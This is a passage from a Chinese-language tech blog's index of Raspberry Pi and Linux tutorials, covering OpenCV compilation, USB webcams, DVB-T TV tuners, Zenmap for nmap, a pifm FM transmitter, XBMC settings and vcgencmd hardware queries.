的原始碼，下載下來之後，先解壓縮：\nunzip opencv-2.4.10.zip 或是直接使用 Git 下載：\ngit clone https://github.com/Itseez/opencv.git Step 3\n進入 OpenCV 的原始碼目錄，建立一個編譯用的子目錄。\ncd opencv-2.4.10 mkdir release cd release 使用 ccmake 建立 CMake 設定檔：\nccmake ../ 由於我們建立的是一個全新的編譯設定，所以會顯示 Empty Cache，直接按下「c」繼續。\n接著會出現所有可以調整的選項，您可以依照自己的需求來修改。\n修改完後，按下「c」設定新的選項，然後再按下「g」即可產生編譯用的設定檔案。\nStep 4\n進行編譯：\nmake sudo make install 由於 Raspberry Pi 的處理速度很慢，所以編譯的過程會需要很久的時間，大該需要十個小時左右。在編譯的過程會需要大約 2G 的空間，所以也要注意一下 Raspberry Pi 的記憶卡所剩餘的空間是否充足。\nOpenCV Hello World 安裝好 OpenCV 函式庫之後，接著寫一個小的程式測試一下：\n#include \u0026lt;opencv2/core/core.hpp\u0026gt; #include \u0026lt;opencv2/highgui/highgui.hpp\u0026gt; #include \u0026lt;iostream\u0026gt; using namespace cv; using namespace std; int main( int argc, char** argv ) { if( argc != 2) { cout \u0026lt;\u0026lt;\u0026#34; Usage: display_image ImageToLoadAndDisplay\u0026#34; \u0026lt;\u0026lt; endl; return -1; } Mat image; // Read the file image = imread(argv[1], CV_LOAD_IMAGE_COLOR); if(! image.data ) { // Check for invalid input cout \u0026lt;\u0026lt; \u0026#34;Could not open or find the image\u0026#34; \u0026lt;\u0026lt; std::endl ; return -1; } // Create a window for display. namedWindow( \u0026#34;Display window\u0026#34;, WINDOW_AUTOSIZE ); // Show our image inside it. imshow( \u0026#34;Display window\u0026#34;, image ); // Wait for a keystroke in the window waitKey(0); return 0; } 我將這個顯示圖片的程式碼儲存為 display_image.cpp，然後使用 g++ 編譯：\ng++ -lopencv_highgui -lopencv_core -o display_image display_image.cpp 編譯時要加上連結用的函式庫 -lopencv_highgui -lopencv_core，如果不清楚該加哪些，可以直接使用 pkg-config 把所有的 OpenCV 函式庫都放進去：\ng++ `pkg-config --libs opencv` -o display_image display_image.cpp 如果可以正常編譯出來 display_image 這個執行檔，就表示 OpenCV 已經安裝成功了，這個測試程式可以顯示指定的圖檔：\n./display_image lena.jpg 如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 robertcastle.com ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-install-opencv/","summary":"\u003cp\u003e這裡介紹如何在 Raspberry Pi 上面安裝 OpenCV 函式庫，安裝方式可選擇使用 apt 或是自行編譯安裝。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://opencv.org/\"\u003eOpenCV\u003c/a\u003e 是一個很強大的電腦視覺（Computer Vision）工具，可用於開發即時的影像處理、電腦視覺以及模式識別程式，應用領域很廣泛，以下介紹如何在 Raspberry Pi 上面安裝與使用 OpenCV。\u003c/p\u003e","title":"在 Raspberry Pi 上面安裝 OpenCV 函式庫"},{"content":"這裏示範如何在 Raspberry Pi 中使用 USB 網路攝影機。\n我拿了一個 Logitech C170 USB 網路攝影機，插到 Raspberry Pi 上來測試，以下介紹幾個常見的應用程式。\nfswebcam 使用 apt 安裝 fswebcam：\nsudo apt-get install fswebcam 最簡單的使用方式：\nfswebcam image.jpg 這樣就會使用網路攝影機照一張照片。\n指定 /dev/video0 這台網路攝影機，跳過 10 個 frames，照一張 640x360 大小的照片：\nfswebcam -r 640x360 -S 10 -d /dev/video0 webcam.jpg 這是照下來的畫面：\n在預設的情況下，fswebcam 會在照片下方加一行 banner，如果不想要這行 banner，可以加上 --no-banner 參數。\nstreamer streamer 是一個小工具，也可以擷取網路攝影機的畫面。首先用 apt 安裝：\nsudo apt-get install streamer 使用 streamer 照一張照片：\nstreamer -f jpeg -o raspberry-pi-usb-webcam-2.jpeg 這是照下來的畫面：\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 ArchWiki ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-usb-webcam/","summary":"\u003cp\u003e這裏示範如何在 Raspberry Pi 中使用 USB 網路攝影機。\u003c/p\u003e\n\u003cp\u003e我拿了一個 Logitech C170 USB 網路攝影機，插到 Raspberry Pi 上來測試，以下介紹幾個常見的應用程式。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"fswebcam\"\u003e\u003ccode\u003efswebcam\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003e使用 apt 安裝 \u003ccode\u003efswebcam\u003c/code\u003e：\u003c/p\u003e","title":"在 Raspberry Pi 中使用 USB 網路攝影機（Webcam）照相"},{"content":"這裡介紹如何在 Raspberry Pi 上面使用電視棒，直接收看免費的數位電視頻道。\n目前市面上有許多千元以內的 USB 數位電視棒，只要接上天線再插上電腦，就可以直接使用電腦收看免費的數位電視節目，例如常見的民視、中視、台視與華視都可以直接收看。\n而我們也可以在樹莓派（Raspberry Pi）上面插上一隻 USB 數位電視棒，直接在樹莓派上面看電視，就好像數位電視機上盒一樣，以下是我拿 ASUS My Cinema U3000 Mini DVBT Tuner 這隻數位電視棒來測試的過程。\n由於我也是第一次嘗試在 Linux 下使用數位電視棒，我也沒有把握一定可以成功，所以我在拍賣網站選購電視棒的時候，是挑價格比較低的二手品（若是失敗的話損失比較小），另外再參考一下 DVB-T USB Devices，找一隻比較確定沒有問題的型號，最後找到一隻二手的 ASUS My Cinema U3000 Mini DVBT Tuner，在 Linux 下可以使用，而且含運費只要兩百多塊。\n這是電視棒的背面。\n這是接天線的插座。\n蓋子打開後，是 USB 的插頭。\n這隻 USB 電視棒有附贈天線，不過通常這樣的天線收訊都不太理想。\n接下來我們要先下載電視棒的韌體，安裝至 /lib/firmware/ 中：\ncd /lib/firmware/ sudo wget http://linuxtv.org/downloads/firmware/dvb-usb-dib0700-1.20.fw 安裝好韌體之後，就可以把它插上樹莓派了，這裏我是使用 Raspberry Pi B+。\n這時候我們可以執行一下 dmesg 確認一下系統是否有抓到這隻電視棒\ndmesg 正常來說應該會有下面這樣的訊息：\n[ 71.051920] usb 1-1.4: new high-speed USB device number 6 using dwc_otg [ 71.153060] usb 1-1.4: New USB device found, idVendor=0b05, idProduct=171f [ 71.153095] usb 1-1.4: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 71.153110] usb 1-1.4: Product: STK7700 [ 71.153124] usb 1-1.4: Manufacturer: DIBCOM [ 71.153138] usb 1-1.4: SerialNumber: 7414000129 [ 71.313659] dvb-usb: found a \u0026#8216;ASUS My Cinema U3000 Mini DVBT Tuner\u0026#8217; in cold state, will try to load a firmware [ 71.318286] dvb-usb: downloading firmware from file \u0026#8216;dvb-usb-dib0700-1.20.fw\u0026#8217; [ 71.457741] dib0700: firmware started successfully. [ 71.961986] dvb-usb: found a \u0026#8216;ASUS My Cinema U3000 Mini DVBT Tuner\u0026#8217; in warm state. [ 71.964876] dvb-usb: will pass the complete MPEG2 transport stream to the software demuxer. [ 71.965191] DVB: registering new adapter (ASUS My Cinema U3000 Mini DVBT Tuner) [ 72.212227] usb 1-1.4: DVB: registering adapter 0 frontend 0 (DiBcom 7000PC)\u0026#8230; [ 72.244344] MT2266: successfully identified [ 72.451863] Registered IR keymap rc-dib0700-rc5 [ 72.456634] input: IR-receiver inside an USB DVB receiver as /devices/platform/bcm2708_usb/usb1/1-1/1-1.4/rc/rc0/input3 [ 72.457415] rc0: IR-receiver inside an USB DVB receiver as /devices/platform/bcm2708_usb/usb1/1-1/1-1.4/rc/rc0 [ 72.463154] dvb-usb: schedule remote query interval to 50 msecs. [ 72.463194] dvb-usb: ASUS My Cinema U3000 Mini DVBT Tuner successfully initialized and connected. [ 72.463718] usbcore: registered new interface driver dvb_usb_dib0700 另一個檢查方式是直接使用 lsusb 來看：\nlsusb 正常來說應該會看到我們剛剛插上去的 USB 電視棒：\nBus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. Bus 001 Device 005: ID 1c4f:0002 SiGma Micro Keyboard TRACER Gamma Ivory Bus 001 Device 006: ID 0b05:171f ASUSTek Computer, Inc. My Cinema U3000 Mini [DiBcom DiB7700P] Bus 001 Device 004: ID 046d:c018 Logitech, Inc. Optical Wheel Mouse 安裝好硬體與韌體之後，要安裝一下 DVB 的工具套件：\nsudo apt-get install dvb-apps 使用 scan 掃描頻道：\nscan /usr/share/dvb/dvb-t/tw-Taipei \u0026amp;gt; channels.conf 或是\nscan /usr/share/dvb/dvb-t/tw-Kaohsiung \u0026amp;gt; channels.conf 掃描時所使用的初始掃描檔會因為每個地區不同，大家要依照自己所屬的區域來選擇。另外我發現在 Ubuntu Linux 中系統只有提供一個 tw-All 的初始掃描檔，內容如下：\nT 533000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE T 539000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE T 545000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE T 551000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE T 557000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE T 563000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE T 569000000 6MHz 2/3 NONE QAM64 8k 1/4 NONE T 575000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE T 581000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE T 587000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE T 593000000 6MHz 2/3 NONE QAM16 8k 1/4 NONE 我目前也不確定哪一個比較好。\n掃描出來的頻道列表會類似這樣：\n中視數位台:533000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:1001:1002:100 中視新聞台:533000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:1011:1012:101 中視綜藝台:533000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:1021:1022:102 中視HD台:533000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:1031:1032:103 公共電視 PTS:545000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:2011:2012:201 公視2台 PTS2:545000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:2021:2022:202 客家電視 HTV:545000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:2031:2032:203 民視綜合台:557000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_AUTO:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:3001:3002:300 民視交通台:557000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_AUTO:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:3011:3012:301 民視新聞台:557000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_AUTO:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:3021:3022:302 民視資料廣播:557000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_AUTO:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:0:0:303 民視HD台:557000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_AUTO:QAM_16:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:3041:3042:304 公視 HD:569000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_64:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:2001:2002:200 台灣電視台:581000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_64:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:4001:4002:400 台視財經台:581000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_64:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:4011:4012:401 台視綜合台:581000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_64:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:4021:4022:402 台視 HD台:581000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_64:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:4031:4032:403 華視CTS:593000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_64:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:5011:5012:501 華視教育台:593000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_64:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:5021:5022:502 華視新聞資訊台:593000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_64:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:5031:5032:503 華視HD:593000000:INVERSION_AUTO:BANDWIDTH_6_MHZ:FEC_2_3:FEC_2_3:QAM_64:TRANSMISSION_MODE_8K:GUARD_INTERVAL_1_4:HIERARCHY_NONE:5041:5042:504 這個檔案內容的格式是以冒號分格的表格，第一個欄位是頻道的名稱。\n使用 tzap 依據頻道名稱選擇要收看的頻道：\ntzap -r -c channels.conf \u0026#34;CHANNEL NAME\u0026#34; 使用 mplayer 播放節目：\nmplayer /dev/dvb/adapter0/dvr0 正常來說這樣就可以收看了，不過我發現樹莓派的處理速度不夠快，這樣播的話會跑不動，後來我將解析度降低才能順利播放：\nmplayer /dev/dvb/adapter0/dvr0 -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all 這是在樹莓派上面播放公視節目的畫面：\n由於我是第一次嘗試在 Linux 中使用電視棒，目前遇到許多問題，首先因為天線是使用附贈的天線，收訊不良，只能收到少數幾個頻道，我目前正在想辦法改善天線的收訊品質，另外 Raspberry Pi 的處理速度有點慢，就算 CPU 超頻到 1GHz，還是沒辦法讓 MPlayer 以正常的解析度播放，只能用比較低的解析度來播放，不過看新聞是堪用了。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 Linux TV ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-dvb-usb-tv-stick/","summary":"\u003cp\u003e這裡介紹如何在 Raspberry Pi 上面使用電視棒，直接收看免費的數位電視頻道。\u003c/p\u003e\n\u003cp\u003e目前市面上有許多千元以內的 USB 數位電視棒，只要接上天線再插上電腦，就可以直接使用電腦收看免費的數位電視節目，例如常見的民視、中視、台視與華視都可以直接收看。\u003c/p\u003e","title":"Raspberry Pi 使用 USB 電視棒收看數位電視頻道"},{"content":"Zenmap 是 nmap 指令的圖形化使用者介面，可以讓網路管理者更方便使用。\nNmap 是一個專業的網路診斷工具，不過對於不熟悉指令的人，使用起來就不是那麼方便，這時候就可以考慮使用 Zenmap 這個視窗介面的工具，除了可以讓使用者少打很多指令之外，資料的呈現也比較直覺，以下是 Zenmap 的安裝與使用方式。\nStep 1\nDebian 系列的 Linux（Ubuntu 或 Raspbian 等），可以用 apt 安裝：\nsudo apt-get install zenmap 如果是 Red Hat 系列的 Linux（如 Fedora），則可用 yum 安裝：\nsu -c \u0026#34;yum install nmap-frontend\u0026#34; Step 2\n安裝好之後，Zenmap 就會出現在系統選單中，點選它就可以直接開啟。\n如果您會需要使用到 nmap 中需要 root 權限的功能，那您就必須使用 sudo 來執行 Zenmap 才行：\nsudo zenmap Step 2\n打開 Zenmap 之後，直接輸入要掃描的主機，按下 Scan 即可立即掃描。\n在 Command 欄位中會顯示 Zenmap 為您自動產生的 nmap 指令與參數，單然您也可以自行調整它。\nStep 3\n掃描的結果也會經過簡單的整理，讓使用者更容易閱讀。\n通常我們最常用的就是查看開啟的連接埠有哪些，這裡 Zenmap 會自動整理出一個獨立的列表。\n另外 Zenmap 也會列出網路拓樸（topology）的資訊，如果您會需要一次掃描整個網段，而且網段的網路拓樸很複雜的話，這個圖就會很有用。下面這個是一次掃描多台主機的網路拓樸圖。\n參考資料 maketecheasier ","permalink":"https://blog.gtwang.org/linux/zenmap-nmap-gui/","summary":"\u003cp\u003eZenmap 是 \u003ccode\u003enmap\u003c/code\u003e 指令的圖形化使用者介面，可以讓網路管理者更方便使用。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/linux/nmap-command-examples-tutorials/\"\u003eNmap\u003c/a\u003e 是一個專業的網路診斷工具，不過對於不熟悉指令的人，使用起來就不是那麼方便，這時候就可以考慮使用 Zenmap 這個視窗介面的工具，除了可以讓使用者少打很多指令之外，資料的呈現也比較直覺，以下是 Zenmap 的安裝與使用方式。\u003c/p\u003e","title":"Zenmap：nmap 的圖形化使用者介面"},{"content":"這裡介紹如何使用樹莓派（Raspberry Pi）架設自己的廣播電台，放送自己的廣播節目。\n以下是用樹莓派（Raspberry Pi）自製廣播電台的步驟，要準備的零件很簡單，只要一個 Raspberry Pi 與一條 20 公分的杜邦線即可。\nStep 1\n這裡我們以 Raspberry Pi B+ 做示範，首先將杜邦線插在 7 號腳位。\n我這裡是用一整束的杜邦線，插在 7 號腳位上當作天線，另外一頭不需要接東西。\nStep 2\n準備一個普通的收音機，或是使用手機的收音機 App 也可以，然後選擇一個沒有電台的頻道，這裡我選擇 FM 105.5。\nStep 3\n接著從 ICRS 的網頁上下載 pifm，下載下來是一個壓縮檔，裡面有 pifm 的原始碼與可執行檔，解壓縮之後，就可以直接使用。\ntar jxvf pifm.tar.gz sudo ./pifm left_right.wav 105.5 22050 stereo 這樣就會將 left_right.wav 這個聲音檔放送至 FM 105.5 頻道，這時候只要將收音機調到 FM 105.5 就可以聽到這個聲音檔的內容了。\n這裡的 wav 檔是 16 位元的，如果要自己製作，要注意一下格式。\n如果要撥放 mp3 檔，可以使用 ffmpeg：\nffmpeg -i input.mp3 -f s16le -ar 22.05k -ac 1 - | sudo ./pifm - 105.5 如果要自己當 DJ，可以接一個 USB 麥克風，使用 arecord 將自己的聲音直接放送出去：\narecord -d0 -c2 -f S16_LE -r 22050 -twav -D copy | sudo ./pifm - 105.5 這裡的天線 （杜邦線）是讓電波的傳輸範圍可以廣，如果沒有插上天線也是可以使用，不過範圍會變小很多（10 公分），如果有天線的話，收聽的範圍會比較大（100 公尺）。\n一般廣播電台的頻率是在 88 Mhz 到 108 Mhz 左右，但理論上來說這個自製的廣播電台可以使用從 1 Mhz 到 250 Mhz 之間任何的頻率。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-radio-station/","summary":"\u003cp\u003e這裡介紹如何使用樹莓派（Raspberry Pi）架設自己的廣播電台，放送自己的廣播節目。\u003c/p\u003e\n\u003cp\u003e以下是用樹莓派（Raspberry Pi）自製廣播電台的步驟，要準備的零件很簡單，只要一個 Raspberry Pi 與一條 20 公分的杜邦線即可。\u003c/p\u003e","title":"使用樹莓派（Raspberry Pi）自己架設廣播電台"},{"content":"這裡介紹如何使用樹莓派（Raspberry Pi）的 Reset 針腳，快速重新開機，不用拔插頭。\n樹莓派（Raspberry Pi）並沒有電源鍵，只要插上 USB 電源線就會自動開機，如果因為某些因素要強制重新開機時（例如當機），除了拔插頭之外，其實可以利用 Raspberry Pi 的 reset 針腳，快速重新開機。\nRaspberry Pi B+ 的板子上，在樹莓派 Logo 旁邊有兩個標示為 RUN 的針腳，這兩個針腳就是 reset 用的針腳，如果您的系統當機時（編譯新核心的時候，就常常容易發生當機的狀況），可以拿一條線把這兩個針腳接通一下再放開，這樣 Raspberry Pi 就會重新啟動了。\n如果是在比較舊的 Raspberry Pi 板子上，這個 reset 針腳標示為 P6，不過作用與用法都是一樣的。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-reset-header/","summary":"\u003cp\u003e這裡介紹如何使用樹莓派（Raspberry Pi）的 Reset 針腳，快速重新開機，不用拔插頭。\u003c/p\u003e\n\u003cp\u003e樹莓派（Raspberry Pi）並沒有電源鍵，只要插上 USB 電源線就會自動開機，如果因為某些因素要強制重新開機時（例如當機），除了拔插頭之外，其實可以利用 Raspberry Pi 的 reset 針腳，快速重新開機。\u003c/p\u003e","title":"樹莓派（Raspberry Pi）的 Reset 針腳，不用拔插頭即可重新開機"},{"content":"這裡介紹如何使用手機 App 在沒有中文輸入法的 OpenELEC（XBMC）中輸入中文字。\nOpenELEC（XBMC）雖然有內建中文語系，但是卻沒有中文的輸入法，沒辦法直接輸入中文字，這對於一般家庭用的影音播放需求來說，是一個很大的問題。\n如果想要輸入中文，有一個變通的方式就是使用 XBMC 官方的手機 App，透過手機的中文輸入法來輸入中文，以下是設定的步驟教學。\nStep 1\n首先在手機上安裝 Official XBMC Remote 這個手機 App。\nStep 2\n然後開啟 XBMC 的「系統設定」選單，選擇「服務」裡面的「網站伺服器」。\n這裡必須開啟「允許透過 HTTP 控制 XBMC」的功能，並且設定好連接埠、帳號與密碼（這些都可以自行指定，或是直接使用預設值也可以）。\nStep 3\n接著開啟 XBMC Remote 這個手機 App，在設定選單中找到「Manage XBMC Hosts」，根據上面的網頁伺服器設定，新增一個 XBMC Host。\n這裡的連接埠、帳號與密碼要跟上面網頁伺服器的設定相符，而 IP 位址可以在 XBMC 的系統或網路資訊中查到。\nStep 4\n設定好 XBMC Host 之後，就可以連接上 XMBC 的網頁伺服器，利用手機來控制 XBMC 了，當需要輸入中文時，就直接利用手機的中文輸入法打字，然後按下「Send」，這樣在手機輸入的中文字就會傳送到 XBMC 中。\n透過手機 App 的中文輸入法，就可以輕鬆的搜尋中文的影音資源了。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/openelec-xbmc-remote-chinese-input-method/","summary":"\u003cp\u003e這裡介紹如何使用手機 App 在沒有中文輸入法的 OpenELEC（XBMC）中輸入中文字。\u003c/p\u003e\n\u003cp\u003eOpenELEC（XBMC）雖然有內建\u003ca href=\"/iot/openelec-chinese-locale/\"\u003e中文語系\u003c/a\u003e，但是卻沒有中文的輸入法，沒辦法直接輸入中文字，這對於一般家庭用的影音播放需求來說，是一個很大的問題。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e如果想要輸入中文，有一個變通的方式就是使用 XBMC 官方的手機 App，透過手機的中文輸入法來輸入中文，以下是設定的步驟教學。\u003c/p\u003e","title":"透過手機 App 在 OpenELEC（XBMC）中輸入中文"},{"content":"這裡介紹如何將 OpenELEC（XBMC）介面改為中文語系。\nRaspberry Pi 樹莓派可以透過 NOOBS 輕鬆安裝 OpenELEC 作業系統，快速打造家庭影音播放設備，不過 OpenELEC 預設的語言是英文的，所以若要使用中文介面，安裝好之後還要再經過一些設定才行。\nStep 1\n在「System」選單中選擇「Settings」。\nStep 2\n選擇「Appearance」。\nStep 3\n選擇左側選單的「Skin」。\n將「Fonts」改為 Arial based。\nStep 4\n選擇左側選單的「International」。\n將語言（Language）改為繁體中文（Chinese (Traditional)），更改之後畫面中的英文應該就會直接換成中文了。\n這樣就可以輕鬆使用中文界面了。\n除了系統選單之外，天氣預報也會變成中文的。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/openelec-chinese-locale/","summary":"\u003cp\u003e這裡介紹如何將 OpenELEC（XBMC）介面改為中文語系。\u003c/p\u003e\n\u003cp\u003eRaspberry Pi 樹莓派可以透過 \u003ca href=\"/iot/raspberry-pi-b-plus-noobs-linux-installation/\"\u003eNOOBS\u003c/a\u003e 輕鬆安裝 OpenELEC 作業系統，快速打造家庭影音播放設備，不過 OpenELEC 預設的語言是英文的，所以若要使用中文介面，安裝好之後還要再經過一些設定才行。\u003c/p\u003e","title":"OpenELEC（XBMC）中文語系設定"},{"content":"這裏介紹如何使用 vcgencmd 指令查看 Raspberry Pi 的 CPU 溫度、運行速度與電壓等資訊，即時監控硬體的狀態。\n在 Raspberry Pi 中我們可以利用 vcgencmd 指令來查看各種的硬體資訊與狀態，以下是常用的指令範例。\n時脈頻率（clock frequency） 如果要查詢硬體目前的時脈頻率，可以使用 measure_clock 參數：\nvcgencmd measure_clock \u0026lt;clock\u0026gt; 其中的 \u0026lt;clock\u0026gt; 是指定要查詢的硬體，可用的選項有 arm、 core、 h264、 isp、 v3d、 uart、pwm、 emmc、 pixel、 vec、 hdmi、 dpi。\n如果要查詢 CPU 的時脈頻率（也就是速度），可以執行\nvcgencmd measure_clock arm 輸出為\nfrequency(45)=700000000 如果想查詢所有的硬體時脈頻率，可以使用簡單的 shell 指令稿：\nfor src in arm core h264 isp v3d uart pwm emmc pixel vec hdmi dpi ; do \\ echo -e \u0026#34;$src:\\t$(vcgencmd measure_clock $src)\u0026#34; ; \\ done 輸出為\narm: frequency(45)=700000000 core: frequency(1)=250000000 h264: frequency(28)=250000000 isp: frequency(42)=250000000 v3d: frequency(43)=250000000 uart: frequency(22)=3000000 pwm: frequency(25)=0 emmc: frequency(47)=250000000 pixel: frequency(29)=108000000 vec: frequency(10)=0 hdmi: frequency(9)=163682000 dpi: frequency(4)=0 電壓（voltage） 如果要查詢硬體目前的工作電壓，可以使用 measure_volts 參數：\nvcgencmd measure_volts \u0026lt;id\u0026gt; 其中 \u0026lt;id\u0026gt; 是指定要查詢的硬體，可用的選項有 core、 sdram_c、 sdram_i、 sdram_p。如果沒有指定 \u0026lt;id\u0026gt;，則預設為 core：\nvcgencmd measure_volts 輸出為\nvolt=1.200V 查詢所有工作電壓的 shell 指令稿：\nfor id in core sdram_c sdram_i sdram_p ; do \\ echo -e \u0026#34;$id:\\t$(vcgencmd measure_volts $id)\u0026#34; ; \\ done 輸出為\ncore: volt=1.200V sdram_c: volt=1.200V sdram_i: volt=1.200V sdram_p: volt=1.225V 溫度（temperature） 如果要查詢 BCM2835 SoC 目前的溫度，可以使用 measure_temp 參數：\nvcgencmd measure_temp 輸出為\ntemp=43.3\u0026#8217;C Codec 若要查詢特定的 codec 有沒有啟用，可以使用 codec_enabled 參數：\nvcgencmd codec_enabled \u0026lt;codec\u0026gt; 其中 \u0026lt;codec\u0026gt; 是指定要查詢的 codec，可用的選項有：H264、 MPG2、 WVC1、 MPG4、 MJPG、 WMV9。\n查詢所有 codec 的指令稿：\nfor codec in H264 MPG2 WVC1 MPG4 MJPG WMV9 ; do \\ echo -e \u0026#34;$codec:\\t$(vcgencmd codec_enabled $codec)\u0026#34; ; \\ done 輸出為：\nH264: H264=enabled MPG2: MPG2=disabled WVC1: WVC1=disabled MPG4: MPG4=enabled MJPG: MJPG=enabled WMV9: WMV9=disabled 設定值（configurations） get_config 參數可以列出目前系統中所有被設定的參數值：\nvcgencmd get_config [config|int|str] 最後一個參數可用來指定要查詢的設定值名稱或是類型，例如查詢 temp_limit 的數值可以執行：\nvcgencmd get_config temp_limit 輸出為\ntemp_limit=85 查詢所有數值資料的設定值可用\nvcgencmd get_config int 輸出為\nhdmi_force_hotplug=1 disable_overscan=1 overscan_left=24 overscan_right=24 overscan_top=16 overscan_bottom=16 program_serial_random=1 config_hdmi_boost=4 emmc_pll_core=1 hdmi_force_cec_address=65535 framebuffer_ignore_alpha=1 framebuffer_swap=1 disable_splash=1 temp_limit=85 force_pwm_open=1 pause_burst_frames=1 second_boot=1 avoid_fix_ts=1 記憶體配置 Raspberry Pi 的 CPU 與 GPU 是共用同同一個記憶體的，get_mem 參數可以查詢目前記憶體的配置狀態。查詢配置給 CPU 的記憶體大小：\nvcgencmd get_mem arm 輸出為\narm=448M 查詢配置給 GPU 的記憶體大小：\nvcgencmd get_mem gpu 輸出為\ngpu=64M 韌體版本（firmware version） 查詢韌體版本可以使用\nvcgencmd version 輸出為\nDec 19 2014 18:44:06 Copyright (c) 2012 Broadcom version 